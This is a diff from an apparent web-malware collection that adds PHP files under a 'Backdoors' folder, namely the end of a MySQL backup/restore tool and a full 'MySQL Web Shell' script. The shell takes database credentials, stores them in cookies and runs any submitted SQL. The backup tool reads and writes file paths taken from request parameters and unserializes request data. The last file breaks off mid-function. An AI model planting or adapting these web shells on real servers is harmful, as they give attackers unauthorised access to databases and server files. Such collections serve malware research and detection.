cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Backup in progress...</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2" colspan="2"> + <div align="center">The backup process has now started<br /><br /><a href="$url">Click here if you are not redirected</a></div> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + + } + + function do_backup() { + global $HTTP_GET_VARS; + + $this->read_db_details(); + $this->connect(); + + $data = unserialize(base64_decode($HTTP_GET_VARS['data'])); + $filename = $HTTP_GET_VARS['file']; + + $timedout = 0; + $dump = ''; + + foreach ($data as $table => $line) + { + if (!$this->timeout()) + { + $returned = $this->backup_table($table, $line); + + if (is_array($returned)) + { + $timedout = 1; + $dump .= $returned[0]; + $data[ $table ] = $returned[1]; + } + else + { + $dump .= $returned; + unset($data[ $table ]); + } + } + else + { + $timedout = 1; + } + } + + if (!$fp = fopen($filename, 'ab')) + { + return $this->error('Unable to write to backup file. Please CHMod the current directory so it is writable'); + } + fwrite($fp,$dump); + fclose($fp); + + if ($timedout) + { + $data = base64_encode(serialize($data)); + $url = 'mysql_tool.php?act=do_backup&file='.urlencode($filename).'&data='.$data; + $this->meta = '<meta http-equiv="refresh" content="1; url='.$url.'">'; + + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Backup in progress...</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + <div align="center">The backup process is in progress<br /><br /><a href="$url">Click here if you are not redirected</a></div> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + else + { + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Backup Completed</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + The backup progress has finished and the file has been written to "$filename".<br /><br /> + <a href="$filename">Click here to download the file</a> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + + } + + function backup_table($table,$start) { + $dump = ''; + + if (!$start) + { + $result = mysql_query('SHOW FIELDS FROM '.$table); + + while ($field = mysql_fetch_assoc($result)) + { + if (!$field['Null']) + { + $null = ' NOT NULL default "'.$field['Default'].'"'; + } + else + { + $null = ''; + } + + if ($field['Extra']) + { + $field['Extra'] = ' '.$field['Extra']; + } + + $field_row[] = ' ' . $field['Field'] . ' ' . $field['Type'] . $null . $field['Extra']; + } + + $result = mysql_query('SHOW KEYS FROM '.$table); + + while ($key = mysql_fetch_assoc($result)) + { + if ($key['Key_name'] == 'PRIMARY') + { + $primary_key = $key['Column_name']; + } + else + { + $unique[ $key['Key_name'] ][] = $key['Column_name']; + } + } + + if (isset($primary_key)) + { + $field_row[] = ' PRIMARY KEY (' . $primary_key . ')'; + } + + if (isset($unique)) + { + foreach ($unique as $name => $keys) + { + $field_row[] = ' UNIQUE ' . $name . ' (' . implode(',',$keys) . ')'; + } + } + + + $dump .= "\n\n--\n"; + $dump .= "-- Table structure for table '$table'\n"; + $dump .= "--\n\n"; + $dump .= "CREATE TABLE $table (\n"; + $dump .= implode(",\n",$field_row); + $dump .= "\n);\n\n"; + + $dump .= "\n\n--\n"; + $dump .= "-- Dumping data for table '$table'\n"; + $dump .= "--\n\n"; + } + + + // + // Records + // + + $done = 0; + $result = mysql_query('SELECT * FROM '.$table.' LIMIT '.$start.',-1'); + + while ($row = mysql_fetch_row($result)) + { + if ($this->timeout()) + { + return array($dump,$done); + } + + $done++; + + foreach ($row as $id => $value) + { + $value = str_replace('"','\\"',$value); + $row[$id] = '"'.$value.'"'; + + } + + $dump .= 'INSERT INTO ' . $table . ' VALUES (' . implode(',',$row) . ");\n"; + } + + return $dump; + } + + + function main() { + if (!$this->link) + { + if (!$this->read_db_details()) + { + return $this->set_database(); + } + + if ($error_text = $this->connect(1)) + { + return $this->set_database($error_text); + } + } + + + $tables_to_backup = ''; + + if ($this->db['prefix']) + { + $tables_to_backup .= '<input type="radio" name="tables" value="prefix" checked="checked" />IPB Tables Only <br />'; + $tables_to_backup .= '<input type="radio" name="tables" value="all" />All<br />'; + } + else + { + $tables_to_backup .= '<input type="radio" name="tables" value="all" checked="checked" />All<br />'; + } + + $tables = mysql_list_tables($this->db['name']); + + $options = ''; + while (list($table_name) = mysql_fetch_array($tables)) + { + $options .= '<option value="'.$table_name.'">'.$table_name.'</option>'; + } + + $tables_to_backup .= <<<HTML +<input type="radio" name="tables" value="selected" />Selected tables:<br /> +<div style="margin-left: 40px"> + <select name="table_select[]" class="textbox" size="5" style="width: 250px" multiple="multiple"> +$options + </select> +</div> +HTML; + + + $options = ''; + if ($dir = @opendir('./')) + { + while ($file = readdir($dir)) + { + $temp = strtolower($file); + + if ($file != '.' && $file != '..' && strpos($temp, '.sql')) + { + $options .= '<option value="'.$file.'">'.$file.'</option>'; + } + } + closedir($dir); + } + $restore_files = '<select name="filename" class="textbox">'.$options.'</select>'; + + $restore_files .= '<br /><br /><u>or</u> path:<br /><br /><input type="text" name="relfilename" class="textbox" />'; + + $this->output = <<<HTML + <form method="post" action="mysql_tool.php?act=login"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450"> + <tr> + <td align="center" class="title">Selected Database Details</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td width="150" class="tdrow1"><strong>Host / Port</strong></td> + <td width="300" class="tdrow2">{$this->db['host']}:{$this->db['port']}</td> + </tr> + <tr> + <td class="tdrow1"><strong>Database Name</strong></td> + <td class="tdrow2">{$this->db['name']}</td> + </tr> + <tr> + <td class="tdrow1"><strong>Username</strong></td> + <td class="tdrow2">{$this->db['user']}</td> + </tr> + <tr> + <td class="tdrow2" colspan="2"><div align="center">[ <a href="mysql_tool.php?act=change_db">Change Database</a> ]</div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> +<br /><br /> + <form method="post" action="mysql_tool.php?act=backup"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450"> + <tr> + <td align="center" class="title">Backup Options</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td width="150" class="tdrow1" valign="top"><strong>Tables to backup:</strong></td> + <td width="300" class="tdrow2">$tables_to_backup</td> + </tr> + <tr> + <td class="tdrow1"><strong>Filename</strong></td> + <td class="tdrow2"><input type="text" name="filename" class="textbox" value="sql_backup.sql"></td> + </tr> + <tr> + <td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Backup"></div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> + <br /><br /> + <form method="post" action="mysql_tool.php?act=restore"> + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="450"> + <tr> + <td align="center" class="title">Restore Options</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td width="150" class="tdrow1" valign="top"><strong>SQL File to restore:</strong></td> + <td width="300" class="tdrow2">$restore_files</td> + </tr> + <tr> + <td class="tdrow2" colspan="2"><div align="center"><input type="submit" value="Restore"></div></td> + </tr> + </table> + </td> + </tr> + </table> + </form> +HTML; + } + + function restore() { + global $HTTP_POST_VARS; + + $this->read_db_details(); + $filename = $HTTP_POST_VARS['filename']; + $relfilename = $HTTP_POST_VARS['relfilename']; + + if ($relfilename) + { + $filename = $relfilename; + } + + $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename); + + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Confirm Restoration</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + <strong>Are you sure you want to restore the SQL file?</strong><br /><br /> + <a href="$url">Click here to restore "$filename" to "{$this->db['name']}"</a> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + + function do_restore() { + global $HTTP_GET_VARS; + + $filename = $HTTP_GET_VARS['filename']; + $this->read_db_details(); + $this->connect(); + + $filesize = filesize($filename); + $file_position = isset($HTTP_GET_VARS['pos']) ? $HTTP_GET_VARS['pos'] : 0; + $errors = isset($HTTP_GET_VARS['ignore_errors']) ? 0 : 1; + + if (!$fp = fopen($filename,'rb')) + { + return $this->error('Unable to open file "'.$filename.'"'); + } + + $buffer = ''; + $inside_quote = 0; + $quote_inside = ''; + $started_query = 0; + + $data_buffer = ''; + + $last_char = "\n"; + + // Sets file position indicator + fseek($fp,$file_position); + + while ((!feof($fp) || strlen($buffer)) && !$this->timeout()) + { + do + { + // Deals with the length of the buffer + if (!strlen($buffer)) + { + $buffer .= fread ($fp,1024); + } + + // Fiddle around with the buffers + $current_char = $buffer[0]; + $buffer = substr($buffer, 1); + + + if ($started_query) + { + $data_buffer .= $current_char; + } + elseif (preg_match("/[A-Za-z]/i",$current_char) && $last_char == "\n") + { + $started_query = 1; + $data_buffer = $current_char; + } + else + { + $last_char = $current_char; + } + } while (!$started_query && (!feof($fp) || strlen($buffer))); + + + if ($inside_quote && $current_char == $quote_inside && $last_char != '\\') + { + // We were inside a quote but now we aren't so reset the flag and carry on + $inside_quote = 0; + } + elseif ($current_char == '\\' && $last_char == '\\') + { + $current_char = ''; + } + elseif (!$inside_quote && ($current_char == '"' || $current_char == '`' || $current_char == '\'')) + { + // We have just entered a new quote + $inside_quote = 1; + $quote_inside = $current_char; + } + elseif (!$inside_quote && $current_char == ';') + { + // End of query so execute query, clear data buffer and advance counter + mysql_query($data_buffer); + + if ($errors && mysql_errno()) + { + $new_position = ftell($fp) - strlen($buffer); + return $this->restore_error($data_buffer, $new_position); + } + + + $data_buffer = ''; + $last_char = "\n"; + $started_query = 0; + } + + $last_char = $current_char; + } + + + $new_position = ftell($fp) - strlen($buffer) - strlen($data_buffer); + + if (feof($fp)) + { + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Restoration Completed</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + The restore progress has finished. + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + else + { + $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$new_position; + + if (!$errors) + { + $url .= '&ignore_errors=1'; + } + + $process = floor(($new_position / $filesize) * 100); + + $this->meta = '<meta http-equiv="refresh" content="5; url='.$url.'">'; + $this->title = $process.'% Complete'; + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="350"> + <tr> + <td align="center" class="title">Restore in progress...</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + <div align="center"> + <strong>Restoration is <b>$process%</b> complete.</strong> + <br /><br /> + Please await the process of the next batch. + <br /><br /> + <a href="$url">Click here if you are not redirected</a> + </div> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + + fclose($fp); + + } + + function restore_error($query, $position) { + global $HTTP_GET_VARS; + + $filename = $HTTP_GET_VARS['filename']; + + $url = 'mysql_tool.php?act=do_restore&filename='.urlencode($filename).'&pos='.$position; + + $mysql_error = mysql_error(); + + $this->output = <<<HTML + <table align="center" class="tablewrap" cellpadding="0" cellspacing="3" width="600"> + <tr> + <td align="center" class="title">Query Failed</td> + </tr> + <tr> + <td> + <table class="table1" align="center" width="100%"> + <tr> + <td class="tdrow2"> + <div align="center"> + <strong>An error occurred due to an invalid query</strong> + <br /><br /> + Query Executed: $query + <br /> + MySQL Returned: $mysql_error + <br /><br /> + <a href="$url">Continue restore process</a><br /> + <a href="{$url}&ignore_errors=1">Continue ignoring all further errors</a><br /> + </div> + </td> + </tr> + </table> + </td> + </tr> + </table> +HTML; + } + +} + + +?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/mysqlwebsh.php b/web-malware-collection-master/Backdoors/PHP/mysqlwebsh.php new file mode 100755 index 0000000..0ddccf9 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/mysqlwebsh.php @@ -0,0 +1,522 @@ +<? + + $VERSION = "1.6"; + + $MSIE = ereg("MSIE",$HTTP_USER_AGENT); + + if ($action == "showhelp") {showhelp($number);} + if ($QUERY_STRING == "arrowup") {warrow("up");} + if ($QUERY_STRING == "arrowdown") {warrow("down");} + + if ($action == "chparam") + { + SetCookie("host",$HTTP_POST_VARS["host"]); + SetCookie("login",$HTTP_POST_VARS["login"]); + SetCookie("password",$HTTP_POST_VARS["password"]); + SetCookie("database",$HTTP_POST_VARS["database"]); + SetCookie("DISABLEDM",$HTTP_POST_VARS["DISABLEDM"]); + } + + $HOST = isset($HTTP_POST_VARS["host"])?$HTTP_POST_VARS["host"]:$HTTP_COOKIE_VARS["host"]; + $LOGIN = isset($HTTP_POST_VARS["login"])?$HTTP_POST_VARS["login"]:$HTTP_COOKIE_VARS["login"]; + $PASSWORD = isset($HTTP_POST_VARS["password"])?$HTTP_POST_VARS["password"]:$HTTP_COOKIE_VARS["password"]; + $DATABASE = isset($HTTP_POST_VARS["database"])?$HTTP_POST_VARS["database"]:$HTTP_COOKIE_VARS["database"]; + $DISABLEDM = isset($HTTP_POST_VARS["DISABLEDM"])?$HTTP_POST_VARS["DISABLEDM"]:$HTTP_COOKIE_VARS["DISABLEDM"]; + + $HISTORY = Array(); + for ($i = 0; $i < 10; $i++) + { + if (isset($HTTP_COOKIE_VARS["HISTORY_COOKIE$i"])) + {$HISTORY[] = $HTTP_COOKIE_VARS["HISTORY_COOKIE$i"];} + } + for ($i = 0; $i < sizeof($HISTORY); $i++) {$HISTORY[$i] = stripslashes($HISTORY[$i]);} + + if ($action == "logout") + { + SetCookie("host", "", time() - 360000); + SetCookie("login", "", time() - 360000); + SetCookie("password", "", time() - 360000); + SetCookie("database", "", time() - 360000); + SetCookie("DISABLEDM", "", time() - 360000); + unset($HOST); + unset($LOGIN); + unset($PASSWORD); + unset($DATABASE); + unset($DISABLEDM); + unset($sqlquery); + } + + if (@mysql_connect($HOST,$LOGIN,$PASSWORD)) {$CONNECT = 1;} else {$CONNECT = 0;} + if (!@mysql_select_db($DATABASE)) {$SELECTDB = 0;} else {$SELECTDB = 1;} + + if ($action == "submit") + { + array_unshift($HISTORY, stripslashes($sqlquery)); + array_splice($HISTORY, 10); + + for ($i = 0; $i < sizeof($HISTORY); $i++) + { SetCookie("HISTORY_COOKIE$i", $HISTORY[$i], time()+31536000); } + for ($j = $i+1; $j < 10; $j++) + { SetCookie("HISTORY_COOKIE$j", "", time()-31536000); } + + $worktime = getmicrotime(); + $qwresult = @mysql_query(stripslashes($sqlquery)); + $worktime = getmicrotime()-$worktime; + + if (mysql_errno()) + { + $STATUS = " + <TABLE border=0 cellspacing=0 cellpadding=0 width=100%><TR bgcolor=\"#CCCCCC\"><TD> + <TABLE border=0 cellspacing=1 cellpadding=3 width=100%> + <TR bgcolor=\"#660000\"><TD><B>ERROR:</B> ".mysql_error()."</TD></TR> + </TABLE> + </TD></TR></TABLE> + "; + } + else + { + if (@mysql_num_rows($qwresult) > 0) {$isfetch = 1;} else {$isfetch = 0;} + $STATUS = " + <TABLE border=0 cellspacing=0 cellpadding=0 width=100%><TR bgcolor=\"#CCCCCC\"><TD> + <TABLE border=0 cellspacing=1 cellpadding=3 width=100%> + <TR bgcolor=\"#223344\"><TD> + <B>Query execution time:</B> ".sprintf("%.5f",$worktime)." sec; + <B>Affected rows:</B> ".@mysql_affected_rows()." + </TD></TR> + </TABLE> + </TD></TR></TABLE> + "; + } + } +?> + +<HTML> +<TITLE>MySQL Web Shell <? echo $VERSION ?>, <? echo "$LOGIN@$HOST" ?></TITLE> + +<STYLE> +BODY, TD, FORM, INPUT, SELECT {font-family: Arial; font-size: 12px;} +.SMALL {font-size: 11px;} +A {color: #FFFFBB; text-decoration: none;} +A:HOVER {text-decoration: underline;} +A.UNDL {color: #FFFFBB; text-decoration: underline;} +A.UNDL:HOVER {color: #FFFFFF; text-decoration: underline;} +</STYLE> + +<SCRIPT language="JavaScript"> +<!-- + +var histcookies = Array(); + +<? if ($CONNECT): ?> +function getCookie(name) +{ + var prefix = name + "="; + var cookieStartIndex = document.cookie.indexOf(prefix); + if (cookieStartIndex == -1) return null; + var cookieEndIndex = document.cookie.indexOf(";", cookieStartIndex + prefix.length); + if (cookieEndIndex == -1) cookieEndIndex = document.cookie.length; + var returncookie = ""; + var tmpcookie = unescape(document.cookie.substring(cookieStartIndex + prefix.length, cookieEndIndex)); + for (var i = 0; i < tmpcookie.length; i++) + { + if (tmpcookie.charAt(i) == "+") {returncookie += " ";} + else {returncookie += tmpcookie.charAt(i);} + } + return returncookie; +} +var acooidx = 0; +for (var i = 0; i < 10; i++) +{ + var curcookie = getCookie("HISTORY_COOKIE"+i); + if (curcookie != null) {histcookies[acooidx] = curcookie; acooidx++;} +} +<? endif ?> + +if(document.layers) document.captureEvents(Event.KEYPRESS) +document.onkeypress=kpress; + +function kpress(e) +{ + key=(document.layers)?e.which:window.event.keyCode + if (key == 10 && String.fromCharCode(key) == String.fromCharCode(10)) {document.queryform.submit();} +} + +function selectallfrom(table) +{ document.queryform.sqlquery.value = 'SELECT * FROM '+table; } + +function showcolumnsfrom(table) +{ document.queryform.sqlquery.value = 'SHOW COLUMNS FROM '+table; } + +var lasthist = 0; +var histtouched = <? echo ($action == "submit")?1:0 ?>; + +function hist(act) +{ + if (histcookies.length > 0) + { + var histsize = histcookies.length; + if (act == 'down') + { if (lasthist-1 >= 0) {lasthist--;} else {lasthist = 0;} } + if (act == 'up') + { if (lasthist+1 <= histsize-1) {if (histtouched) {lasthist++;}} else {lasthist = histsize-1;} } + document.queryform.sqlquery.value = histcookies[lasthist]; + histtouched = 1; + } +} + +<? if ($MSIE && $DISABLEDM != "YES"): ?> +function selectrowfrom(table,row) +{ document.queryform.sqlquery.value = 'SELECT '+row+' FROM '+table; needhide = 1; deschide(); } + +function selectrowsfrom(table,inform) +{ + var selectrows = ''; + for (i = 0; i < document.forms[inform].fields.length; i++) + { + if (document.forms[inform].fields[i].checked == true) + { + selectrows = selectrows+document.forms[inform].fields[i].value+',\n\t'; + } + } + if (selectrows == '') {selectrows = "*";} + else + {selectrows = selectrows.substring(0, selectrows.length-3);} + if (!document.forms[inform].fields.length) {selectrows = document.forms[inform].fields.value;} + document.queryform.sqlquery.value = 'SELECT\t'+selectrows+'\nFROM '+table; + needhide = 1; deschide(); +} + +function insertinto(table,inform) +{ + var insertrows = ''; + + for (i = 0; i < document.forms[inform].fields.length; i++) + { + if (document.forms[inform].fields[i].checked == true) + { + insertrows = insertrows+document.forms[inform].fields[i].value+'=\'\',\n '; + } + } + if (insertrows == '') + { + for (i = 0; i < document.forms[inform].fields.length; i++) + { + insertrows = insertrows+document.forms[inform].fields[i].value+'=\'\',\n '; + } + } + + insertrows = insertrows.substring(0, insertrows.length-6); + if (!document.forms[inform].fields.length) {insertrows = document.forms[inform].fields.value+'=\'\'';} + document.queryform.sqlquery.value = 'INSERT INTO '+table+'\nSET\n '+insertrows; + needhide = 1; deschide(); +} +<? endif ?> + +function openWin(html) +{window.open(html,'','resizable=no,menubar=no,status=no,scrollbars=no,width=350,height=200');} + +//--> +</SCRIPT> + +<BODY TEXT="#FFFFFF" BGCOLOR="#112255" TOPMARGIN=0 LEFTMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0> + +<? if ($MSIE && $DISABLEDM != "YES"): ?><DIV id="descr" style="position: absolute; top: 25px; left: 0px; visibility: hidden; z-index: 10;"></DIV><? endif ?> + +<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH=100%><TR BGCOLOR="#CCCCCC"><TD> +<TABLE BORDER=0 CELLSPACING=1 CELLPADDING=5 WIDTH=100%> +<TR> +<TD ROWSPAN=2 NOWRAP BGCOLOR="#112255" VALIGN=TOP WIDTH=1%> + + <TABLE border=0 cellspacing=0 cellpadding=3> + <FORM action="<? echo $PHP_SELF ?>" method=post> + <TR><TD bgcolor="<? echo (!$CONNECT && $action == "chparam")?"#660000":"#446688" ?>"><B><? echo $CONNECT?"Parameters":"Login" ?> <? if (!$CONNECT && $action == "chparam") echo "failure" ?>:</B></TD></TR> + <TR><TD><INPUT type=hidden name="action" value="chparam"> + <DIV class="SMALL"> + host: + <INPUT class="SMALL" size=12 style="width: 120px;" type=text name="host" value="<? echo $HOST?$HOST:"localhost" ?>"><BR> + login: + <INPUT class="SMALL" size=12 style="width: 120px;" type=text name="login" value="<? echo $LOGIN ?>"><BR> + password:<BR> + <INPUT class="SMALL" size=12 style="width: 120px;" type=password name="password"><BR> + database: <? if (!$SELECTDB && $DATABASE != "") {echo "<FONT color=\"#FF3333\">access failed</FONT>";} ?> + <? if ($CONNECT): ?> + <SELECT class="SMALL" style="width: 120px;" name="database"> + <? + $result = @mysql_query("SHOW DATABASES"); + while ($row = @mysql_fetch_row($result)) {echo "<OPTION value=\"$row[0]\" ".(($row[0] == $DATABASE)?"selected":"").">$row[0]</OPTION>\n";} + ?> + </SELECT> + <? else: ?> + <INPUT class="SMALL" size=12 style="width: 120px;" type=text name="database" value="<? echo $DATABASE ?>"> + <? endif ?> + <? if ($MSIE): ?> + <BR> + <B>Drop menu on top:</B><BR> + <INPUT type=radio name="DISABLEDM" value="YES" <? if ($DISABLEDM == "YES") echo "checked" ?>> disable + <INPUT type=radio name="DISABLEDM" value="" <? if ($DISABLEDM == "") echo "checked" ?>> enable + <BR><? endif ?><BR><INPUT class="SMALL" style="width: 120px;" type=submit value="<? echo $CONNECT?" submit ":" login " ?>"> + </DIV> +</TD> +</TR> +</FORM> + +<TR><TD bgcolor="#446688"><B>MySQL Web Shell:</B></TD></TR> +<TR><TD> +<DIV class="SMALL"> +Version: <? echo $VERSION ?><BR> +Homepage: <A href="http://www.atz.msk.ru/mysqlwebsh.html">Go!</A><BR> +Author: <A href="mailto:atz@atz.msk.ru">atz@atz.msk.ru</A> +</DIV> +</TD></TR> + +</TABLE> + +</TD> + +<TD BGCOLOR="#112255" VALIGN=TOP> +<B>TABLES:</B> +<? + $result = @mysql_query("SHOW TABLES FROM $DATABASE"); + $alltables = Array(); + while ($row = @mysql_fetch_row($result)) + {array_push($alltables,$row[0]);} +?> + +<? if ($MSIE && $DISABLEDM != "YES"): ?> +<SCRIPT language="JavaScript"> +<!-- + +var x1,x2,y; +var lastid = 'nonexistentid'; +var needhide = 1; + +var descriptions = new Array(); +<? + $tcount = 0; + reset($alltables); + foreach ($alltables as $table) + { + $tresult = @mysql_query("DESC $table"); + + $desc = "<TABLE border=0 bgcolor=888888 cellspacing=1 cellpadding=1><FORM name=\"rowsform$tcount\">"; + + while ($rows = @mysql_fetch_row($tresult)) + { + if (ereg("^[[:space:]]*$",$rows[0])) {$rows[0] = "&nbsp;";} + $desc .= "<TR bgcolor=334466><TD class=SMALL>&nbsp;&nbsp;<INPUT type=checkbox name=fields value=\"$rows[0]\">&nbsp;<A href=\"javascript: selectrowfrom('$table','$rows[0]');\">$rows[0]</A></TD><TD class=SMALL>$rows[1]</TD></TR>"; + } + $desc .= "<TR bgcolor=334466><TD height=25 colspan=2 NOWRAP>&nbsp;&nbsp;<A href=\"javascript: selectrowsfrom('$table','rowsform$tcount');\"><B>select</B></A> | <A href=\"javascript: insertinto('$table','rowsform$tcount');\"><B>insert</B></A> </TD></TR></FORM></TABLE>"; + + echo "descriptions[$tcount] = '".addslashes($desc)."';\n"; + $tcount++; + } +?> + +function descwrite(oid) +{ + if (oid != lastid) {descr.innerHTML = descriptions[oid]; lastid = oid;} + descr.style.pixelLeft = event.x-15; + descr.style.pixelTop = event.y; + x1 = descr.style.pixelLeft; + x2 = x1+descr.offsetWidth; + y = descr.style.pixelTop+descr.offsetHeight; + descr.style.visibility = 'visible'; +} + +function deschide() +{ if (needhide) {descr.style.visibility = 'hidden';} } + +function mmove() +{ + if (event.x < x1 || event.x > x2 || event.y > y) + { + needhide = 1; + setTimeout("deschide();",800); + } + else {needhide = 0;} +} + +document.onmousemove = mmove; + +//--> +</SCRIPT> +<? endif ?> + +<? + $tcount = 0; + reset($alltables); + foreach ($alltables as $table) + { + if ($MSIE && $DISABLEDM != "YES") {$dopevent = "onMouseMove=\"descwrite($tcount);\" ";} else {$dopevent = "";} + echo "<A href=\"javascript: selectallfrom('$table');\" onDblClick=\"showcolumnsfrom('$table');\" ${dopevent}class=\"UNDL\">$table</A>\n"; + if ($tcount != sizeof($alltables)-1) {echo "|\n";} + $tcount++; + } +?> +</TD></TR> + +<TR><TD VALIGN=TOP WIDTH=99% bgcolor="#336699"> +<TABLE border=0 cellspacing=0 cellpadding=3 width="620"> +<FORM action="<? echo $PHP_SELF ?>" method=POST name="queryform"> +<TR> +<TD colspan=3> +<TABLE border=0 cellspacing=0 cellpadding=0> +<TR><TD>&nbsp;</TD><TD>Press <B>Ctrl+Enter</B> to submit query<BR></TD></TR> +<TR> +<TD valign=top align=center><BR><A href="javascript: hist('up');"><IMG src="<? echo $PHP_SELF ?>?arrowup" width=12 height=11 border=0 alt="History Back"></A><BR><BR><A href="javascript: hist('down');"><IMG src="<? echo $PHP_SELF ?>?arrowdown" width=12 height=11 border=0 alt="History Forward"></A></TD> +<TD> +<INPUT type=hidden name="action" value="submit"> +<TEXTAREA name="sqlquery" wrap=off rows=12 cols=59 style="width: 610px; height: 220px; font-family: Verdana; font-size: 11px;"><? echo htmlspecialchars(stripslashes($sqlquery)) ?></TEXTAREA> +</TD> +</TR></TABLE> +</TD></TR> +<TR> +<TD><INPUT type=submit style="width: 100px;" value="submit query"></TD> +<TD align=center> +<table border=0 cellspacing=0 cellpadding=2> +<tr> + <td rowspan=2 align=right><B>Fetch Type:</B></td> + <td nowrap><input type=radio name="fetchtype" value="1" checked> all rows in one table (<A href="javascript: openWin('<? echo $PHP_SELF ?>?action=showhelp&number=1');">help</A>) +</tr> +<tr> + <td nowrap><input type=radio name="fetchtype" value="2"> one row = one table (<A href="javascript: openWin('<? echo $PHP_SELF ?>?action=showhelp&number=2');">help</A>) +</tr> +</table> +</TD> +<TD align=right><INPUT type=submit onClick="action.value = 'logout';" style="width: 100px;" value="logout"></TD> +</TR> +</FORM> +</TABLE> +<BR> + +<? echo $STATUS ?> + +<? if ($isfetch): ?><TR bgcolor="#000000"><TD COLSPAN=2 align=center><B>FETCH RESULTS</B></TD></TR><? endif ?> + +</TD></TR></TABLE> +</TD></TR></TABLE> + +<? + if ($isfetch && $fetchtype == 1) + { + ?> + <TABLE border=0 cellspacing=0 cellpadding=0 width=100%><TR bgcolor="#888888"><TD> + <TABLE border=0 cellspacing=1 cellpadding=2 width=100%><TR bgcolor="#223344"><TD align=center><b><? + $fields = _mysql_all_fields($qwresult); + echo @implode("</B></TD><TD align=center><B>",$fields); + ?></B></TD></TR> + <? + $tmpcolor = $tmpcolor1 = "#334466"; $tmpcolor2 = "#263656"; + + while ($rows = @mysql_fetch_row($qwresult)) + { + for ($i = 0; $i < sizeof($rows); $i++) + { + if (is_null($rows[$i])) {$rows[$i] = "<CENTER><B>[NULL]</B></CENTER>";} + elseif (ereg("^[[:space:]]*$",$rows[$i])) {$rows[$i] = "&nbsp;";} + else {$rows[$i] = htmlspecialchars($rows[$i]);} + } + echo "<TR bgcolor=\"$tmpcolor\"><TD>"; + echo @implode("</TD><TD>",$rows); + echo "</TD></TR>\n"; + $tmpcolor = ($tmpcolor == $tmpcolor1)?$tmpcolor2:$tmpcolor1; + } + ?> + </TABLE> + </TD></TR></TABLE> + <? + } + + if ($isfetch && $fetchtype == 2) + { + $percent = floor(100/mysql_num_fields($qwresult)); + ?> + <TABLE border=0 cellspacing=1 cellpadding=2 width=100%><TR bgcolor="#223344"><TD width=<? echo $percent ?>% align=center><b><? + $fields = _mysql_all_fields($qwresult); + echo @implode("</B></TD><TD width=$percent% align=center><B>",$fields); + ?></B></TD></TR></TABLE> + <? + $tmpcolor = $tmpcolor1 = "#334466"; $tmpcolor2 = "#263656"; + + while ($rows = @mysql_fetch_row($qwresult)) + { + for ($i = 0; $i < sizeof($rows); $i++) + { + if (is_null($rows[$i])) {$rows[$i] = "<CENTER><B>[NULL]</B></CENTER>";} + elseif (ereg("^[[:space:]]*$",$rows[$i])) {$rows[$i] = "&nbsp;";} + else {$rows[$i] = htmlspecialchars($rows[$i]);} + } + echo "<TABLE cellspacing=1 cellpadding=3 width=100%><TR bgcolor=\"$tmpcolor\"><TD width=$percent%>"; + echo @implode("</TD><TD width=$percent%>",$rows); + echo "</TD></TR></TABLE>\n"; + $tmpcolor = ($tmpcolor == $tmpcolor1)?$tmpcolor2:$tmpcolor1; + } + } +?> + +</BODY> + +</HTML> + +<? + +function _mysql_all_fields($result) +{ + $fields = Array(); + for ($i = 0; $i < @mysql_num_fields($result); $i++) + {array_push($fields, @mysql_field_name($result, $i));} + return $fields; +} + +function getmicrotime() +{ + list($usec, $sec) = explode(" ",microtime()); + return ((float)$usec + (float)$sec); +} + +function showhelp($num) +{ + +?> +<HTML> +<TITLE>Fetch Type help : <? echo ($num==1)?"all rows in one table":"one row = one table" ?></TITLE> +<BODY TEXT="#FFFFFF" BGCOLOR="#336699"> +<TABLE width=100% height=100% cellpadding=20><TR><TD> +<DIV style="font-family: Arial; font-size: 12px;"> +<? +if ($num == 1): +?> +This option means that you will wait for the whole html file loading.<BR> +Recommended for fetching the tables with small number of rows. +<BR><BR> +(100 percent correct table display after the process of +loading is accomplished) +<? +endif; + +if ($num == 2): +?> +This option means that you will see the real-time display of "fetch" process.<BR> +Recommended for fetching the tables with large number of rows. +<BR><BR> +(in some cases there can be problems with correct table display) +<? +endif; +?> +</DIV> +</TD></TR></TABLE> +</BODY> +</HTML> +<? +exit; +} + +function warrow($aname) +{ + Header("Content-type: image/gif"); + $header = 